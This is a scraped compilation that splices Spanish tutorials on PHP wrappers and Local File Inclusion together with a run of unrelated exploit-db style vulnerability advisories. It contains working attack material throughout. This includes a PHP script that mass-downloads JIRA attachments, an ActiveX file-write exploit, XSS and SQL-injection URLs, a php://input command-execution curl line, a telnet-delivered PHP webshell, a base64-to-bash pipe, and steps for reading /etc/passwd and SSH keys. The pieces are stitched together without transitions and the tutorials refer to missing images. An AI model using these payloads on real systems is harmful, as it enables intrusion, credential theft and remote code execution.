Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
En el caso de que tratemos con archivos PHP, existe un concepto que son los llamados PHP Wrappers. Un wrapper es una especie de envoltura que le dice al Stream (secuencia, petición, entrada/salida de datos) como actuar.
Esta característica de PHP es muy útil en ataques como el LFI y el XXE, gracias a esto, podemos obtener alguna que otra ventaja que de otra forma no tendríamos.
El concepto de wrapper quedará más claro cuando lo veamos ahora.
Índice:
php://filter
zip://
data://
php://input
expect://
Referencias
php://filter
El Wrapper filter nos permite encodear el archivo que le especifiquemos, esto es muy útil, ya que nos permite poder leer archivos PHP que en otro caso, el navegador simplemente interpretaría directamente.
Por ejemplo, tenemos el siguiente archivo:
Como vemos, tiene una contraseña en un comentario. Pero si nosotros accedemos al archivo desde la web:
Solo vemos la salida del código interpretado 😥. Sin embargo, usando el wrapper filter, seremos capaces de leer el archivo PHP al completo.
Para probar el wrapper, he creado un LFI en un archivo index.php. Por lo que, en este LFI, el payload que introduciremos para hacer uso del wrapper y leer el archivo secret.php, será el siguiente:
De esta forma, estamos leyendo el archivo secret.php pero en base64, por lo que si decodeamos esta salida:
Obtenemos el archivo al completo. Un detalle curioso sobre los wrappers es que podemos concatenar varios a través del uso de un pipe | o un slash /. Ejemplo:
Y obtenemos exactamente el mismo resultado.
Además de poder encodear en base64, podemos aplicar ROT13 con la siguiente cadena:
php://filter/read=string.rot13/resource=<archivo>
Aunque este en concreto no sirve para leer archivos PHP:
Pero si aplica para otro tipo de archivos:
En conclusión, referente a este wrapper, tenemos los dos siguientes payloads:
El wrapper zip nos permite ejecutar un php que hayamos metido dentro de un archivo zip. Incluso no hace falta que el archivo zip tenga como extensión zip, sino que puede tener cualquiera.
Este wrapper no está instalado por defecto, pero se puede instalar con el siguiente comando:
sudo apt install phpX.Y-zip
Donde X e Y, es la versión PHP que tengamos instalada o a la que queramos instalarle esta característica.
Ejemplo de ejecución de webshell a través de este wrapper:
Payload:
zip://<archivo zip>%23<archivo php>
En <archivo zip>, si no se encontrase en el directorio actual, se le especificaría el directorio donde se encontrase el archivo y listo.
Nota: en caso de que el archivo PHP fuese una webshell o esperase algún parámetro, se le agregaría con un ampersand como vemos en la siguiente imagen.
E incluso cambiando la extensión del zip, seguirá funcionando:
data://
El wrapper data nos permite incluir datos externos, incluido código PHP. Este wrapper solo funciona si la opción allow_url_include está activada en la configuración de PHP (la opción equivalente a un Remote File Inclusion).
Ejecutar código PHP con este wrapper es bastante sencillo, podemos hacerlo de dos formas:
En texto plano
En base 64
En texto plano, simplemente tendríamos que usar el siguiente payload:
data:text/plain,<código PHP>
Ejemplo:
De cara a hacerlo usando base64, simplemente tendríamos que encodear el código PHP:
Este wrapper es parecido al de arriba (data). Se puede usar para incluir código PHP. Su requisito al igual que el wrapper data es que la opción allow_url_include de la configuración de PHP debe de estar habilitada.
Con esto hecho, se podría ejecutar comandos mandando el código PHP en los datos de una petición POST. Ejemplo:
curl -s -X POST -d ‘<código PHP>’ ‘http://example.com/index.php?file=php://input’
En este caso, la salida del comando la podemos ver en la respuesta.
expect://
El wrapper expect no está instalado por defecto, pero en el caso de que lo esté, permite ejecutar directamente comandos de la siguiente forma:
expect://<comando>
Esto ocurre porque este wrapper da acceso a una PTY (pseudo-teletype), que en UNIX básicamente se refiere a una terminal. Da acceso tanto al STDIN, STDOUT como STDERR.
Conclusión PHP Wrappers
Como hemos podido ver, esta característica de PHP es muy útil en muchas ocasiones, ya que nos puede ayudar conseguir acciones que de una u otra forma no podríamos. Es bastante útil hacer uso de ellas cuando estamos ante vulnerabilidades como el Local File Inclusion (LFI) o el XML External Entity (XXE), o realmente en cualquier caso donde veamos que tenemos la capacidad de usarlas.
Referencias
What do pty and tty mean?
expect://
File Inclusion / Directory Traversal – HackTheBox Academy
source: https://www.securityfocus.com/bid/48484/info
Atlassian JIRA is prone to a security bypass vulnerability.
An attacker can exploit this issue to download arbitrary attachment files within the context of the affected application.
<?php
/*If it's a https, you MUST especify it on the URL or it won't work.
Try using numbers that you get from your results in google otherwise
you will get a lot of 404*/
echo "\n#########################################################
###################
# \n#Attachment downloader by Ignacio Garrido\n#";
if ($argc != 4){echo "
#Usage: php Scuarji.php vulnsite FROM(NUMBER) TO(NUMBER)\n#
#Dork: inurl:/jira/secure/attachment/\n#
#Example: php Scuarji.php http://www.vulnsite/jira/secure/attachment/
1 12310371#
############################################################################\n";die;}
else{
echo "\n#Let's start!\n";
echo "#\n#Ign.sec@Gmail.com\n";
#\n############################################################################\n";}
$url2 = $argv[1];
if (substr($url2,0,7) != "http://" && substr($url2,0,8) != "https://")
{
$url = ("http://".$url2);
}
else
{
$url = $argv[1];
}
if ($argv[2] >= $argv[3])
{
echo "\n\n#The second number must be bigger than the first one\n";
die;
}
$numero = $argv[2];
for ($numero;$numero <= $argv[3];$numero++)
{
$head = get_headers("$url$numero/");
if (substr ($head[0],9,3) == "404")
{
echo "\n#File number $numero not found! (404)\n";
}
else{
$explodeo = explode("filename*=",$head[2]);
$explodeo2 = explode(";",$explodeo[1]);
$archivo = substr($explodeo2[0],7);
echo "\n#Downloading file: $archivo\n";
$file=file_get_contents("$url$numero/$archivo");
file_put_contents($archivo,$file);
}
}
echo "\n#All attachment downloaded correctly!\n";
die;
?>
source: https://www.securityfocus.com/bid/48483/info
CygniCon CyViewer ActiveX control is prone to a vulnerability caused by an insecure method.
Successfully exploiting this issue will allow attackers to create or overwrite files within the context of the affected application (typically Internet Explorer) that uses the ActiveX control. Attackers may execute arbitrary code with user-level privileges.
<html>
<object classid='clsid:A6FC2988-16BE-4053-BE89-F562431FD6ED' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
arg1="FilePath\Filename_to_create"
arg2="Data"
target.SaveData arg1 ,arg2
End Sub
</script>
</html>
source: https://www.securityfocus.com/bid/48482/info
FlatPress is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
FlatPress 0.1010.1 is vulnerable; other versions may also be affected.
<form action="http://www.example.com/index.php?x=entry:entry110603-123922;comments:1" method="post">
<input type="hidden" name="name" value='"><script>alert(1);</script>'>
<input type="hidden" name="email" value='"><script>alert(2);</script>'>
<input type="hidden" name="url" value='"><script>alert(3);</script>'>
<input name="send" value="EXPLOIT" type="submit">
</form>
source: https://www.securityfocus.com/bid/48471/info
Joomla! CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
Joomla! CMS versions 1.6.3 and prior are vulnerable.
http://www.example.com/joomla163_noseo/index.php?option=com_contact&view=category&catid=26&id=36&Itemid=-1";><script>alert(/XSS/)</script>
http://www.example.com/joomla163_noseo/index.php?option=com_content&view=category&id=19&Itemid=260&limit=10&filter_order_Dir=&limitstart=&filter_order=><script>alert(/XSS/)</script>
http://www.example.com/joomla163_noseo/index.php?option=com_newsfeeds&view=category&id=17&whateverehere=";><script>alert(/XSS/)</script>&Itemid=253&limit=10&filter_order_Dir=ASC&filter_order=ordering
http://www.example.com/joomla163_noseo/index.php?option=";><script>alert(/XSS/)</script>&task=reset.request
source: https://www.securityfocus.com/bid/48476/info
RealityServer Web Services is prone to a remote denial-of-service vulnerability caused by a NULL pointer dereference.
Attackers can exploit this issue to cause the server to dereference an invalid memory location, resulting in a denial-of-service condition. Due to the nature of this issue arbitrary code-execution maybe possible; however this has not been confirmed.
RealityServer Web Services 3.1.1 build 144525.5057 is vulnerable; other versions may also be affected.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15992.zip
#######################################################################
Luigi Auriemma
Application: NVIDIA RealityServer
http://www.realityserver.com/products/realityserver.html
http://www.nvidia.com/object/realityserver.html
Versions: <= 3.1.1 build 144525.5057
Platforms: Windows and Linux
Bug: NULL pointer
Exploitation: remote, versus server
Date: 27 Jun 2011 (found and reported on my forum 04 Dec 2010)
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org
#######################################################################
1) Introduction
2) Bug
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
From vendor's website:
"The RealityServer� platform is a powerful combination of NVIDIA�
Tesla� GPUs and 3D web services software that delivers interactive,
photorealistic applications over the web, enabling product designers,
architects and consumers to easily visualize 3D scenes with remarkable
realism."
#######################################################################
======
2) Bug
======
If the byte at offset 0xc01 of the packet is >= 0x80 there will be a
NULL pointer dereference.
#######################################################################
===========
3) The Code
===========
http://aluigi.org/testz/udpsz.zip
udpsz -C 03 -b 0xff -T SERVER 1935 0xc02
#######################################################################
======
4) Fix
======
No fix.
#######################################################################
source: https://www.securityfocus.com/bid/48469/info
The 'Pretty Link Lite' plugin for WordPress is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Pretty Link Lite 1.4.56 is vulnerable; prior versions may also be affected.
http://www.example.com/wp-admin/admin.php?page=pretty-link/prli-clicks.php&group=-1union
select @@version
http://www.example.com.com/wp-admin/admin.php?page=pretty-link/prli-clicks.php&l=-1union
select @@version
http://www.example.com/wp-admin/admin.php?page=pretty-link/prli-links.php&group=-1union
select @@version
source: https://www.securityfocus.com/bid/48466/info
MySQLDriverCS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
MySQLDriverCS 4.0.1 is vulnerable; other versions may also be affected.
There is an example for illustrating the attack against the vulnerability:
----------------------------------------------------------------------
DataTable dt = new DataTable();
MySQLConnection conn = new MySQLConnection(CONN_STRING);
MySQLDataAdapter Cmd = new MySQLDataAdapter();
string sCmdText = "SELECT * FROM filelist where FILENAME=@sFileName AND LANGUAGE=@sLanguage";
Cmd.SelectCommand = new MySQLCommand(sCmdText, conn);
Cmd.SelectCommand.Connection.Open();
Cmd.SelectCommand.Parameters.Add(new MySQLParameter("@sFileName", SqlDbType.VarChar));
Cmd.SelectCommand.Parameters["@sFileName"].Value = sFileName;
Cmd.SelectCommand.Parameters.Add(new MySQLParameter("@sLanguage", SqlDbType.VarChar));
Cmd.SelectCommand.Parameters["@sLanguage"].Value = sLanguage;
Cmd.Fill(dt);
Cmd.SelectCommand.Connection.Close();
----------------------------------------------------------------------
Assigning (one parameter is assigned with SQL injection attack vector, while another one is assigned with a string which contains the parameter name of the first.):
----------------------------------------------------------------------
@sFileName: " or 1=1 -- -"
@sLanguage: "cn@sFileName"
----------------------------------------------------------------------
Then, the final sql query statement executed by Mysql is as following:
----------------------------------------------------------------------
SELECT * FROM filelist where FILENAME=' or 1=1 -- -' AND LANGUAGE='cn' or 1=1 -- -''
----------------------------------------------------------------------
Of course, we should use two parameters to launch a cross-parameter SQL injection attack.
================================================================================
[REWTERZ-20140102] - Rewterz - Security Advisory
================================================================================
Title: ManageEngine ServiceDesk Plus User Enumeration Vulnerability
Product: ServiceDesk Plus (http://www.manageengine.com/)
Affected Version: 9.0 (Other versions could also be affected)
Fixed Version: 9.0 Build 9031
Vulnerability Impact: Low
Advisory ID: REWTERZ-20140102
Published Date: 22-Jan-2015
Researcher: Muhammad Ahmed Siddiqui
Email: ahmed [at] rewterz.com
URL: http://www.rewterz.com/vulnerabilities/manageengine-servicedesk-plus-user-enumeration-vulnerability
================================================================================
Product Introduction
===============
ServiceDesk Plus is a help desk software with integrated asset and
project management built on the ITIL framework. It is available in 29
different languages and is used by more than 85,000 companies, across
186 countries, to manage their IT help desk and assets.
Source: http://www.manageengine.com/products/service-desk/
Vulnerability Information
==================
Class: User Name Enumeration
Impact: An unauthenticated and authenticated user can enumerate users
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction required: Yes
CVE Name: N/A
Vulnerability Description
===================
An unauthenticated and authenticated user can enumerate all the users
and domains on the system by sending a simple request to URL.
Proof-of-Concept Authenticated User
============================
An attacker can use the following URL to enumerate users and domains
by accessing the following URL:
http:// 127.0.0.1:8080/servlet/AJaxServlet?action=checkUser&search=guest
Response if User is valid:
{ USER_PRESENT: 'true', IN_SITE: 'true' }
Response if User is invalid:
{ USER_PRESENT: 'false', ADD_REQUESTER: 'false' }
Proof-of-Concept Unauthenticated User
==============================
An attacker can use the following URL to enumerate users and domains
by accessing the following URL:
http://127.0.0.1:8080/domainServlet/AJaxDomainServlet?action=searchLocalAuthDomain&search=100101
If the user in the Search Parameter is found the response will contain
the domain name in which that particular user exists.
Timeline
=======
23-Dec-2014 – Notification to Vendor
24-Dec-2014 – Response from Vendor
30-Dec-2014 – Vulnerability fixed by Vendor
About Rewterz
============
Rewterz is a boutique Information Security company, committed to
consistently providing world class professional security services. Our
strategy revolves around the need to provide round-the-clock quality
information security services and solutions to our customers. We
maintain this standard through our highly skilled and professional
team, and custom-designed, customer-centric services and products.
http://www.rewterz.com
Complete list of vulnerability advisories published by Rewterz:
http://www.rewterz.com/resources/security-advisories
================================================================================
[REWTERZ-20140101] - Rewterz - Security Advisory
================================================================================
Title: ManageEngine ServiceDesk SQL Injection Vulnerability
Product: ServiceDesk Plus (http://www.manageengine.com/)
Affected Version: 9.0 (Other versions could also be affected)
Fixed Version: 9.0 Build 9031
Vulnerability Impact: High
Advisory ID: REWTERZ-20140101
Published Date: 22-Jan-2015
Researcher: Muhammad Ahmed Siddiqui
Email: ahmed [at] rewterz.com
URL: http://www.rewterz.com/vulnerabilities/manageengine-servicedesk-sql-injection-vulnerability
================================================================================
Product Introduction
================
ServiceDesk Plus is a help desk software with integrated asset and
project management built on the ITIL framework. It is available in 29
different languages and is used by more than 85,000 companies, across
186 countries, to manage their IT help desk and assets.
Source: http://www.manageengine.com/products/service-desk/
Vulnerability Information
==================
Class: SQL Injection Vulnerability
Impact: An Authenticated user could exploit this vulnerability to gain
complete system access.
Remotely Exploitable: Yes
Authentication Required: Yes
User interaction required: Yes
CVE Name: N/A
Vulnerability Description
==================
CreateReportTable.jsp page is prone to SQL injection via site
variable. A user with limited privileges could exploit this
vulnerability to gain complete database/system access.
Proof-of-Concept
=============
Postgres DB:
http://127.0.0.1:8080/reports/CreateReportTable.jsp?site=0 AND
3133=(SELECT 3133 FROM PG_SLEEP(1))
MySQL DB:
http://127.0.0.1:8080/reports/CreateReportTable.jsp?site=0 AND UNION
ALL SELECT user(),NULL,NULL,NULL,NULL
Timeline
======
23-Dec-2014 – Notification to Vendor
24-Dec-2014 – Response from Vendor
30-Dec-2014 – Vulnerability fixed by Vendor
About Rewterz
===========
Rewterz is a boutique Information Security company, committed to
consistently providing world class professional security services. Our
strategy revolves around the need to provide round-the-clock quality
information security services and solutions to our customers. We
maintain this standard through our highly skilled and professional
team, and custom-designed, customer-centric services and products.
http://www.rewterz.com
Complete list of vulnerability advisories published by Rewterz:
http://www.rewterz.com/resources/security-advisories
source: https://www.securityfocus.com/bid/48384/info
The H3C ER5100 is prone to a remote authentication-bypass vulnerability.
Attackers can exploit this issue to bypass the authentication mechanism and perform unauthorized actions.
http://www.example.com:8080/home.asp?userLogin.asp
http://www.example.com:8080/wan_NAT.asp?userLogin.asp
source: https://www.securityfocus.com/bid/48355/info
Sitemagic CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Sitemagic CMS 2010.04.17 is vulnerable; other versions may also be affected.
http://www.example.com/index.php?SMExt=[xss]
Document Title:
===============
Crystal Player 1.99 - Memory Corruption Vulnerability
Date:
=============
21/01/2015
Vendor Homepage:
================
http://www.crystalreality.com/
Abstract Advisory Information:
==============================
Memory Corruption Vulnerability on Crystal Player 1.99.
Affected Product(s):
====================
Crystal Player 1.99
Exploitation Technique:
=======================
Local
Severity Level:
===============
Medium
Technical Details & Description:
================================
A Memory Corruption Vulnerability is detected on Crystal Player 1.99. An attacker can crash the software by using .mls file.
Attackers can crash the software local by user inter action over mls (playlist).
--- DEBUG LOG ---
///registers
EAX 00000000
ECX 0006FE24
EDX 0006FE24
EBX 0013014C
ESP 0006F300
EBP 00060041
ESI 00FF4A00
EDI 00000001
EIP 0040F933 Crystal.0040F933
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 1 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 1 FS 003B 32bit 7FFDE000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_NOT_ENOUGH_MEMORY (00000008)
EFL 00010296 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
--- ERROR LOG ---
Crystal+0xf933:
0040f933 8b5510 mov edx,dword ptr [ebp+10h] ss:0023:00060051=????????
00060051 doesnt exist in the program aka not allowed .. so memcopy fails...
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040f933 (Crystal+0xf933)
Access violation when reading [00060051]
Proof of Concept (PoC):
=======================
This vulnerabilities can be exploited by local attackers with userinteraction ...
#!/usr/bin/python
buffer = "A"*30000
filename = "Crash"+".mls"
file = open(filename, 'w')
file.write(buffer)
file.close()
print "[] Successfully MLS Created []"
How to perform:
=======================
1) Open Immunity Debugger and attach Crystal Player 1.99
2) Run it, Now move .mls file that we generated by our python script to the player
3) Once again you have to move the same file in Crystal Player 1.99 for adding second playlist.
When you perform above steps so application will crash. Analyze it on Immunity.
Solution - Fix & Patch:
=======================
Restrict working maximum size & set a own exception-handling for over-sized requests.
Security Risk:
==============
The security risk of the vulnerability is estimated as medium because of the local crash method.
Authors:
==================
Kapil Soni (Haxinos)
source: https://www.securityfocus.com/bid/48342/info
Taha Portal is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Taha Portal 3.2 is vulnerable; other versions may also be affected.
http://www.example.com/index.asp?id=3&serword=%3Cscript%3Ealert%28%22sss%22%29;%3C/script%3E
source: https://www.securityfocus.com/bid/48341/info
Immophp is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Immophp 1.1.1 is vulnerable; other versions may also be affected.
SQL-injection:
http://www.example.com/index.php?page=-2%20uniuon%20select%201,2,3,version(),5--
http://www.example.com/annonce_detail.php?annonce=-2%20union%20all%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%
Cross-site scripting:
http://www.example.com/annonce.php?secteur= %3cscript%3ealert%3c'31337'%3e%3b%3c%2fscript%3e
Un Local File Inclusion (LFI) es una vulnerabilidad web que permite la lectura de archivos locales. Esta vulnerabilidad ocurre cuando un servidor web usa la ruta del archivo como input. Además, puede derivar en una ejecución remota de comandos si se cumplen ciertos requisitos.
Índice:
LFI Básico
Directory Path Traversal
Null Byte
Path Truncation
LFI a RCE
Log Poisoning
Mail PHP Execution
/proc/self/environ
/proc/self/fd ó /dev/fd/
PHP Sessions
Conclusión LFI a RCE
Referencias
LFI Básico
Como se ha dicho al principio, el LFI ocurre cuando mediante un campo de entrada se está llamando a la ruta de un archivo local. Típicamente, esta situación la veremos en variables de PHP, pero no hay que limitar la vulnerabilidad a esto porque sería erróneo.
Para que quede más claro la idea, vamos a verlo con un ejemplo. Tenemos el siguiente código en PHP:
Es un código sencillo donde se espera un valor a través de una petición GET en la variable «file«. Posteriormente, se comprueba si la variable «file» tiene algún contenido, y, en el caso de que si, se incluye el archivo que tenga como nombre, el valor de la variable.
Para alojar el archivo, nos montamos un servidor web:
De esta forma, cuando se acceda a «http://localhost» cargará el archivo:
Recordemos que cuando accedemos a un recurso web sin especificar archivo. Por defecto se intenta cargar el index.html o el index.php, por eso no se especifica archivo arriba, no hace falta.
En este caso no vemos nada, porque sencillamente no le hemos especificado nada en la variable «file» que existe en el código PHP. Ahora bien, si definimos la variable y le pasamos como valor por ejemplo, el archivo /etc/hosts:
Conseguimos verlo, estamos consiguiendo una inclusión de archivos locales (LFI). Para un formato más legible podemos verlo desde el código fuente (Ctrl + U):
Con esto, ya podríamos enumerar archivos sensibles del sistema (ej: archivos de configuración) y obtener información del mismo.
Por ejemplo, algo típico de hacer sobre todo en CTFs es ver los usuarios del sistema en el /etc/passwd y comprobar si tienen alguna id_rsa en el directorio /home/<usuario>/.ssh/id_rsa
Este es el tipo de LFI más básico, ya que en el código PHP no estamos haciendo ningún tipo de sanitización del input. Existen ciertas protecciones para que no sea tan sencillo lograr el Local File Inclusion, sin embargo, así mismo, existen diversas técnicas y bypasses para que consigamos el LFI.
Directory Path Traversal
Vamos a cambiar el código PHP al siguiente:
Ahora, cuando se intente incluir un archivo, el propio código PHP le añadirá la ruta de /var/www/html con el propósito de que solo se puedan incluir archivos que estén dentro de esta ruta.
Al contrario que antes, ahora tenemos una protección que parece impedirnos el cargar archivos que estén fuera del directorio que especifica el código, sin embargo, esta protección se puede bypasear de forma muy sencilla usando un Directory Path Traversal.
Un Directory Path Traversal es una técnica que permite que nos escapemos de la ruta a la que se nos está intentando obligar que permanezcamos. Esta técnica se lleva a cabo a través del uso de dot-dot-slash, dicho de otra forma, de ../.
Por ejemplo, vamos a intentar cargar el archivo /etc/hosts de la misma forma que hemos hecho antes:
Esta vez no carga porque se está intentando incluir el archivo /var/www/html/etc/hosts, el cual no existe. Sin embargo, si intentamos de hacer uso del Directory Path Traversal, ocurrirá lo siguiente:
Podemos leerlo, y esto ocurre porque se está intentando cargar el archivo:
El cual si existe. Un detalle de esto, es que no necesitamos saber cuantos directorios exactamente necesitamos ir hacia atrás para llegar a la raíz. Porque, podemos ir hacia atrás ilimitadamente, ya que, cuando lleguemos a la raíz, simplemente se quedará ahí por mucho que sigamos intentando ir hacia atrás. Este comportamiento ocurre igual en Linux:
Con este último ejemplo, si en el código PHP en vez de /var/www/html/, fuese /var/www/html (sin el slash al final). El payload de arriba:
Es un mini cambio, pero puede determinar que nos funcione o no.
Aparte de esto, que ocurre si en el código PHP añadimos una sanitización para que elimine la cadena ../ del valor que entre por la variable «file«. El código PHP sería el siguiente:
Si intentamos lo mismo que antes:
No funcionará, ya que nos está cambiando nuestro input de:
También sería lo mismo si en vez de ….// fuese …/./. Sabiendo esto, uno ya se puede atrever incluso a mezclar ambos payloads
De esta forma, vemos que a pesar de las distintas sanitizaciones, conseguimos leer el archivo. También se podría llegar a colocar los símbolos usando URL Encode, doble URL Encode.
Al final de todo, es ir preguntándonos ¿Y si pongo esto, y si lo hago de esta forma? Es cuestión de echar creatividad.
Null Byte
El Null Byte es una técnica que funcionaba hasta la versión 5.3.4 de PHP (lo arreglaron en esta versión). Esta técnica permitía que no se tuviera en cuenta cualquier cosa que en el código PHP se añadiese después de la variable PHP que nosotros establecemos.
En un código PHP se nos puede añadir un string al final con el propósito de que a la hora de incluir archivos, solo se incluyan archivos que acaben en el string que se indique, por ejemplo:
En este caso, se añade la cadena .php para que solo se puedan leer archivos que acaben en esta extensión. Si intentásemos acceder al /etc/hosts, se nos convertiría en /etc/hosts.php, por lo tanto, ya no podríamos leerlo.
Pues usar un Null Byte hacía que se bypaseara este impedimento. La idea básicamente era colocar al final de nuestro input, un %00.
Esto ocasionaba que se ignorase todo lo que se añadiese después. Por lo que nosotros pasaríamos a la variable file un input como:
Para qué además de bypasear todas las protecciones anteriormente vistas, se ignorase por completo lo que se añadiese después de la variable gracias al Null Byte.
Esta técnica al fin y al cabo ya se solucionó, por lo que es poco probable que nos la encontremos.
Path Truncation
Path Truncation es otra técnica para conseguir el mismo propósito que Null Byte, ignorar toda cadena que se sitúe después de la variable.
Esta técnica también se parcheó en su momento. En concreto se corrigió en la versión 5.3 de PHP. Aun así, no está de mal conocerla. Path Truncation se basa en que nos aprovechamos del límite de 4096 bytes que tiene PHP para un string.
Conociendo este límite, si en el código PHP se nos añade una extensión después del archivo. ¿Qué ocurre si nosotros mandamos como valor en la variable una cadena mayor a 4096 bytes?
PHP tendrá que cortar la cadena e ignorar lo que se sitúe después de estos bytes, por lo que la idea sería:
/etc/hosts[+4096 bytes]
De esta forma, cuando PHP «corte» la cadena, ignorará los bytes sobrantes que hayamos añadido además de la extensión que el mismo código añade posteriormente.
Eso si, hace falta una serie de requisitos para que funcione:
El dato que nosotros le pasamos a la variable, debe empezar con un string o letra random
El archivo/ruta que nosotros indiquemos tiene que tener un número de caracteres impar. Para ello, nos aprovechamos de la condición de arriba.
El byte 4096 debe de ser un punto, esto también se consigue con la primera condición
Teniendo en cuenta estas tres condiciones, el payload debe de ser algo como:
a/../etc/hosts/./././. hasta sobrepasar 4096 bytes.
Podemos probar la vulnerabilidad en el siguiente reto de Root Me.
Esto funciona porque:
/etc/hosts es equivalente a /etc/hosts/. (etc)
Ejemplo:
En este caso no estoy añadiendo ninguna extensión en el código, simplemente muestro como el colocar un /. es indiferente a no colocarlo en el sentido de que se nos seguirá cargando el archivo. Eso si, el carácter «random» inicial es obligatorio, ya que, si no, no funcionará:
Porque establece que el número de caracteres de la ruta sea par o impar, y, con ello, que el byte 4096 sea un slash (/) o un punto (.). En este caso, sería lo mismo colocar una a que colocar 3, 5, etc, mientras que siempre sea un número impar.
Pd: podemos generar los 4096 bytes con el siguiente comando:
LFI a RCE
Hay muchas formas de convertir un LFI en un RCE (Remote Command Execution):
Log Poisoning
El más típico es el Log Poisoning. Como podemos leer archivos mediante el LFI, ¿qué ocurre si leemos un archivo con código PHP?
Básicamente, se interpretará. Ahora bien, si nosotros podemos controlar el contenido del código PHP podremos ejecutar lo que queramos. Eso si, ¿cómo escribimos el código que queramos en un archivo del sistema? Pues aquí es donde entran como protagonista los logs.
Cuando por ejemplo, intentamos hacer login en SSH, los intentos de inicio de sesión se almacenan en este caso en el archivo /var/log/auth.log:
Por lo que, ¿qué ocurre si intento iniciar sesión con un usuario de nombre <?php system(«whoami»); ?> ?:
También se escribe en el archivo. Si yo leyese ahora este archivo mediante un LFI, debería de ejecutarse el código PHP:
Efectivamente, en el mismo sitio donde está escrito el comando, a la hora de verlo desde el navegador, se ha interpretado y nos ha ejecutado el comando «whoami«.
La idea del log poisoning es básicamente esta. Hay ciertos archivos que nosotros estando desde fuera de la máquina, podemos controlar su contenido. Y si tenemos un LFI y podemos controlar el contenido de un archivo legible, pues tenemos RCE.
El log de SSH (/var/log/auth.log) no es el único, otros archivos típicos que nos pueden servir son:
Log de apache –> /var/log/apache2/access.log
Log de vsftpd –> /var/log/vsftpd. log
Cualquier otro archivo o log donde podamos controlar el contenido desde fuera.
Nota: a veces, si vemos muy difícil insertar un comando por la cantidad de símbolos o comillas que puede llegar a tener, no olvidemos que podemos encodearlo en base64 y ejecutar: base64 | base64 -d | bash
Quizás de esta forma podemos llegar a tener menos problemas a la hora de insertar un comando en un log.
Otra cosa importante a destacar es que tenemos que tener mucho cuidado a la hora de insertar el código PHP en el log. Ya que si nos equivocamos, el log no nos cargará y entonces tendremos que eliminar el código PHP erróneo para que podamos volver a leer el archivo (es aquí cuando se dice que «hemos arruinado el registro»). Y claro, si nos ha sucedido en una máquina remota, pues F.
Mail PHP Execution
Otra posible forma de conseguir RCE es a través de un email. Los emails recibidos por un usuario se almacenan en la ruta:
/var/mail/<usuario>
Por lo que, si la máquina tiene el puerto 25 abierto (SMTP). Podemos enviar por ejemplo vía telnet, un correo que contenga código PHP al usuario que queramos y posteriormente leer el correo mediante el LFI para que se interprete el código mandado en el correo.
Podemos enviar un correo con telnet de la siguiente forma:
telnet X.X.X.X 25
HELO localhost
MAIL FROM:<root> #Sin los simbolos de < o >
RCPT TO:<www-data> #Sin los simbolos de < o >
DATA
<?php
echo shell_exec($_REQUEST['cmd']); # Webshell
?>
Para señalar que hemos terminado de escribir el email, presionamos dos veces enter, escribimos un . y de nuevo enter
Con el correo enviado, si por ejemplo, lo hemos enviado al usuario www-data, deberíamos de encontrar el correo en el archivo:
/var/mail/www-data
Suponiendo que haya llegado, como hemos enviado una webshell, mediante el LFI podríamos ejecutar comandos de la siguiente forma (ejemplo):
/index.php?file=/var/mail/www-data&cmd=<comando>
Recordemos que si estamos concatenando variables en php, la primera siempre es con una interrogación (?), sin embargo, todas las siguientes se concatenan con un ampersand (&)
Otros archivos a comprobar si el de arriba no existe son:
/var/log/mail.log
/var/log/maillog
/var/adm/maillog
/var/adm/syslog/mail.log
/proc/self/environ
El archivo /proc/self/environ contiene múltiples variables de entorno, entre ellas, una que nos puede interesar es HTTP_USER_AGENT (en el caso de que esté). El valor de esta variable de entorno dependerá del User-Agent por el cual nosotros estemos accediendo al servidor web. Por lo que si este archivo es legible, podemos conseguir RCE simplemente cambiando nuestro User-Agent al código PHP que queramos.
En exploit-db hay un PoC que explica bastante bien esto –> shell via LFI – proc/self/environ method
/proc/self/fd ó /dev/fd/
